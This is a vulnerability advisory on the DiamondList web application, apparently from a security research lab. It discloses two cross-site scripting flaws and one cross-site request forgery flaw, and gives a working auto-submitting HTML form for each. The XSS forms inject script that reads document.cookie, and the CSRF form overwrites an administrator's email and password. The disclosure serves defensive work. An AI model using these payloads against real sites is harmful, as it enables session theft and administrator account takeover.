Multiple Vulnerabilities in DiamondList

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DiamondList which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1. Cross-site scripting (XSS) vulnerability in DiamondList: CVE-2010-3023
   1.1 The vulnerability exists due to input sanitation error in the “setting[site_title]” parameter in user/main/update_settings. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in users browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application. Exploitation example: <form action="http://host/user/main/update_settings" method="post" name="main" > <input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' /> <input type="hidden" name="setting[site_keywords]" value="wishlists, applications" /> <input type="hidden" name="setting[site_description]" value="Powered by DiamondList" /> <input type="hidden" name="setting[theme]" value="default" /> <input type="hidden" name="commit" value="Save Settings" /> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to input sanitation error in the "category[description]" parameter in user/main/update_category. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in users browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application.
   Exploitation example:
   <form action=“http://host/user/main/update_category/CATEGORY_ID” method=“post” name=“main” >
   <input type=“hidden” name=“category[name]” value=“some cat name” />
   <input type=“hidden” name=“category[description]” value=‘descr<script>alert(document.cookie)</script>’ />
   <input type=“hidden” name=“commit” value=“Update” />
   </form>
   <script>
   document.main.submit();
   </script>

2. Cross-site request forgery (CSRF) vulnerability in DiamondList: CVE-2010-3024
   The vulnerability exists due to insufficient validation of the request origin in user/main/update_user. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
   Exploitation example:
   <form action=“http://host/user/main/update_user/1” method=“post” name=“main” >
   <input type=“hidden” name=“user[email]” value="[email protected]" />
   <input type=“hidden” name=“user[first_name]” value=“First Name” />
   <input type=“hidden” name=“user[last_name]” value=“Last Name” />
   <input type=“hidden” name=“user[password]” value=“1234” />
   <input type=“hidden” name=“user[password_confirmation]” value=“1234” />
   <input type=“hidden” name=“commit” value=“Update” />
   </form>
   <script>
   document.main.submit();
   </script>
